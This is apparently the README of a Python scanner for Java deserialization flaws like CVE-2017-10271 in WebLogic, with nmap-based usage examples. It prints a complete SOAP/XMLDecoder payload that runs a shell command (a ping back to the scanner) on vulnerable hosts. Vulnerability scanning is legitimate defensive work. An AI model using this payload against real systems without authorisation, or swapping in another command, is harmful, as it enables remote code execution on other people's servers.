
Uno scanner di vulnerabilità di deserializzazione Java mirato a vulnerabilità simili a CVE-2017-10271.
Scanner per la vulnerabilità di deserializzazione Java, specifico per vulnerabilità simili a CVE-2017-10271. Questo progetto contiene una sola PoC; le altre non sono ancora state organizzate.
Installare nmap
https://nmap.org/download.html Scaricare e installare la versione appropriata in base al proprio sistema operativo.
Installare i pacchetti di terze parti
pip install -r requirements.txt
Scansione
Modificare la PoC, cambiando l'indirizzo IP nel comando ping con il proprio indirizzo IP
Modificare il codice sniff alla riga 25
sniff(filter='icmp and yourIP',prn=packet_callback)
java_scan.py -i IP地址 [options] java_scan.py -h 获得帮助
Prima dell'uso è obbligatorio modificare la PoC, cambiando l'indirizzo IP nel comando ping con il proprio indirizzo IP
La PoC è composta da due file in formato JSON, rispettivamente per Windows e Linux (attualmente non è stata aggiunta la funzionalità per specificare il percorso della PoC; sarà aggiunta nelle versioni successive). Assicurarsi di nominare le PoC come poc.json e poc_win.json nella directory del programma.
Informazioni sul formato della PoC (versione Linux; la versione Windows è simile)
{
"url":"wls-wsat/CoordinatorPortType",
"header": "Content-Type:text/xml",
"data": [
"<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/'>",
"<soapenv:Header>",
"<work:WorkContext xmlns:work='http://bea.com/2004/06/soap/workarea/'>",
"<java version='1.8.0_131' class='java.beans.XMLDecoder'>",
"<void class='java.lang.ProcessBuilder'>",
"<array class='java.lang.String' length='3'>",
"<void index='0'>",
"<string>/bin/bash</string>",
"</void>",
"<void index='1'>",
"<string>-c</string>",
"</void>",
"<void index='2'>",
"<string>ping 10.60.18.5 -c 2</string>",
"</void>",
"</array>",
"<void method='start'/></void>",
"</java>",
"</work:WorkContext>",
"</soapenv:Header>",
"<soapenv:Body/>",
"</soapenv:Envelope>"
]
}
url specifica la directory di sfruttamento della vulnerabilità, header specifica il contenuto dell'header aggiunto al pacchetto POST, data è il contenuto serializzato da inviare.
Nota: questa PoC deve far sì che l'host vulnerabile risponda con 2 pacchetti ping; il programma può confermare l'esistenza della vulnerabilità solo quando rileva pacchetti ICMP.
Per impostazione predefinita, il programma esegue la scansione della rete locale utilizzando nmap
java_scan.py -i 192.168.0.1
Questa scansione verifica la porta 7001 dell'host 192.168.0.1
Specificare un singolo IP e una singola porta
java_scan.py -i 192.168.0.1 -p 7001
Specificare più IP e più porte
java_scan.py -i 192.168.0.1,2,55 -p 7001,8001,9001
Specificare un intervallo di IP e un intervallo di porte
java_scan.py -i 192.168.0.1-255 -p 7000-8000
Utilizzando il parametro -f, viene chiamato socket per eseguire un rilevamento rapido delle porte
java_scan.py -i 192.168.0.1-255 -p 7001 -f
Specificare il numero di thread per il rilevamento rapido delle porte
java_scan.py -i 192.168.0.1-255 -p 7001 -f -t 100
